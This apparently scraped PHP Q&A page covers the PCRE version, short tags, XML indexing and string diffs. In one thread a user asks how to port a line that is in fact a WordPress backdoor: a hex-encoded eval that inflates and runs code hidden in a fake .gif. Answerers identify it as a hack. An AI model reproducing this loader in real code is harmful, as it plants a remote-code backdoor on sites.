How to get version of PCRE (bundled with PHP) from code? - php

Is there any way to get version (and date of release) of PCRE bundled with PHP from PHP code and store it into variable?
I can found it using phpinfo() but can't find any other way to get that value directly from code.
I was trying to find solution last couple of hours but it's hopeless.
So far, I can get complete phpinfo() output in variable and pull out PCRE version/release date from there but I'm wondering is there easier solution?

You can also use constant PCRE_VERSION
found source here

I think the ReflectionExtension class is made for this, though I can't seem to get the version out of it directly (getVersion() returns null). This does work however:
$pcreReflector = new ReflectionExtension("pcre");
ob_start();
$pcreReflector->info();
$pcreInfo = ob_get_clean(); // Version and release date can be parsed from here
You'll still have to parse it, but at least it's just the relevant part and not the entire phpinfo output.

Related

Wordpress update preg_replace to preg_replace_callback

I'm updating my website's PHP and when I try to update it to the most recent PHP version I get this message:
Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /home/customer/www/---.org/public_html/wp-includes/init.php on line 291
Here's the line I want to change:
preg_replace("/.*/e","\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b","");
I need to change it to preg_replace_callback but I'm confused by this part:
\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b
How do I translate that part?
When I use an online decoder it looks like this:
eval('$pagexyz = #file_get_contents("wp-includes/images/smilies/icon_wtf.gif");eval(#gzinflate($pagexyz));');
I've not looked to deeply into this but, are you supposed to have a wp-includes/init.php file?
Official repo shows no such file for the latest version
A quick google suggests this is the result of a hack, search "wp-includes/init.php"
Also examining the code i see "wp-includes/images/smilies/icon_wtf.gif" why would what the f*** .gif be in the core? And the encoded function here smells very fishy.
Post about the potential hack
https://blog.tonyballantyne.com/2017/01/25/wordpress-pharma-hack/
You shouldnt need to edit anything inside wp-includes/ as its a core folder. It would make sense to install a Core integrity checking plugin and maybe update to the latest version, you cant guarantee the database hasn't already been tampered with.

Determine if PHP installation preg_* functions support multibyte regular expressions [duplicate]

Is there any way to get version (and date of release) of PCRE bundled with PHP from PHP code and store it into variable?
I can found it using phpinfo() but can't find any other way to get that value directly from code.
I was trying to find solution last couple of hours but it's hopeless.
So far, I can get complete phpinfo() output in variable and pull out PCRE version/release date from there but I'm wondering is there easier solution?
You can also use constant PCRE_VERSION
found source here
I think the ReflectionExtension class is made for this, though I can't seem to get the version out of it directly (getVersion() returns null). This does work however:
$pcreReflector = new ReflectionExtension("pcre");
ob_start();
$pcreReflector->info();
$pcreInfo = ob_get_clean(); // Version and release date can be parsed from here
You'll still have to parse it, but at least it's just the relevant part and not the entire phpinfo output.

How to get an xml element by index

I have an xml file that contains a list of elements. I want to retrieve a specific element by index. I looked around for a while and didn't find anything that worked for me.
I would have thought this would work, but it doesn't:
echo($xml->children()[0]);
I'm not very experienced in php, coming from a C# background, so any help is appreciated.
Array dereferencing was added in PHP 5.4 so your code will (probably) work with that version.
If you're stuck with an older version, simply try this
$children = $xml->children();
echo $children[0];

Newbe PHP: I'm haveing trouble running simple example code

I'm trying to get some PHP example code to work on PHP version 5.3.4, Apache 2.2.17 on Windows.
The example says I need PHP 4.0 and above with CURL and contains:
<?
$function = $_GET['function-if-exist'];
$test = "Test";
?>
<? =$test ?>
I don't understand why I'm getting the following errors:
My PHP doesn't understand <? and wants <?PHP instead.
My PHP doesn't like <? =$test ?> and wants something like
<?PHP echo $test ?>
$function = $_GET['function-if-exist']; causes the error "Undefined index" but presumably works for the folks that developed it.
Can anyone help me understand why their code is not working for me?
1) <? is the "short tag". Most servers are configured to not allow short tags. This can be changed in php.ini.
2) Again, short tags. Also I think you can't have a space before the =, but the main problem is the short tags setting.
3) $_GET accesses the query string, so when loading your script you need myscript.php?function-if-exist=something
It is more ideal to check if the parameter is set before continuing to prevent errors being thrown, e.g.
if(isset($_GET['function-if-exist']))
{
$functionexists = $_GET['function-if-exist'];
}
the short tag notation is disabled in your php.ini
you need to remove the space before your equal sign
your _get array contains not the expected index, what url do you enter to access the page?
I don't understand why I'm getting the following errors:
My PHP doesn't understand
To be able to use short tags you will have to enable them via config ... http://www.tomjepson.co.uk/tutorials/35/enabling-short-tags-in-php.html
My PHP doesn't like and wants something like
Once you switch on the short tags you will be able to echo using ... important the equals signs must be touching the ? not variable.
$function = $_GET['function-if-exist']; causes the error "Undefined index" but presumably works for the folks that developed it.
The $_GET is populated according to what is in the url. To get a value in $_GET['function-if-exist'] the url accessing the script should be something like mydemo.php?function-if-exist=hello
Hope this helps you
Quick answers to 1 and 2 are enable the short_open_tag option into the php.ini file, for the last one is set the error_reporting to a less strict mode.
The reasons of not to adopt such measures are:
the short tag clashes with the xml declaration and is disabled on different host, if you need to manipulate xml or if you need to write portable code is better to resort to the long tag syntax. You lose the ability to echoing data with = but it is a small annoyance to me.
Warning and notices, as php forgive a lot the programmer for missing variables declaration are a blessing for debug. Keep then raised and you will address a lot of mispellings.
Are you sure that function-if-exist is a correct index for your hash? I would check the index first the access them. If the index don't exists is a probable hint that something is going wrong with your code and you should check the reason of the missing.
Better to stop now, as anyone can write a book on this topic, and several ones already done ;)

Character-wise string diff in PHP

In short I am looking for something like google-diff-match-patch in PHP.
I have had a look at some similar questions at SO, and also at the algorithm provided here, but all of them fail:
diff("draßen", "da draußen")
should not give
<del>draßen</del> <ins>da draußen</ins>
(which is kind of stupid for my purpose, because I want to compare file names), but (try here)
<ins>da </ins>dra<ins>u</ins>ßen
Is there a code snippet in PHP that does this? Unfortunately, I cannot use (i.e. install) external packages.
https://github.com/gorhill/PHP-FineDiff supports character-wise diff and can render the differences in HTML
The PEAR Package Text_Diff provides Inline-Diffs.
There is a php version of google-diff-match-patch available here: https://github.com/nuxodin/diff_match_patch-php
There is a port of fresh version google-diff-match-patch library.
It is much faster than previous and have no problems wth utf8.

Categories